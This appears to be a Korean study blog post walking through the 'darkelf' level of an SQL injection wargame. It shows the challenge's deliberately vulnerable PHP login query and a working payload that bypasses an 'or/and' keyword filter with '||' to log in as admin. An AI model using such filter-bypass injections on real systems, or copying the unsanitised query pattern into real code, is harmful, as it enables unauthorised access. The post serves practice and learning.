LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 wolfman에 이어 darkelf 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

darkelf는 wolfman과 비슷하게 단순 필터링 우회문제입니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 or, and 문자를 사용할 수 없게 되어있습니다.

여기서는 or와 and를 대신해서 사용할 문자를 선택하도록 합니다.

흠흠. 여기서는 admin이 선택되어야 하는데, id가 guest로 되어 있기 때문에 새로운 조건문을 완성해줘야 합니다.


단, or와 and가 막혀 있기 때문에 이 문자를 대신하여 사용할 ||와 &&를 사용해줍니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 pw 쪽에 값 삽입(||를 이용)


https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27||id=%27admin


위의 쿼리는 pw='||id='admin 이라고 작성해주었습니다.

여기서 ||는 or 대신에 SQL문에서 사용할 수 있는 문자입니다.


 query : select id from prob_darkelf where id='guest' and pw=''||id='admin'


이렇게 되면 id가 guest인 값의 비밀번호가 선택되지 않기 때문에 거짓 where문이 됩니다.

여기서 이후 ||id='admin'이 완성되도록 적절히 값을 삽입하면, id값을 admin으로 특정해줄 수 있습니다.



+ Recent posts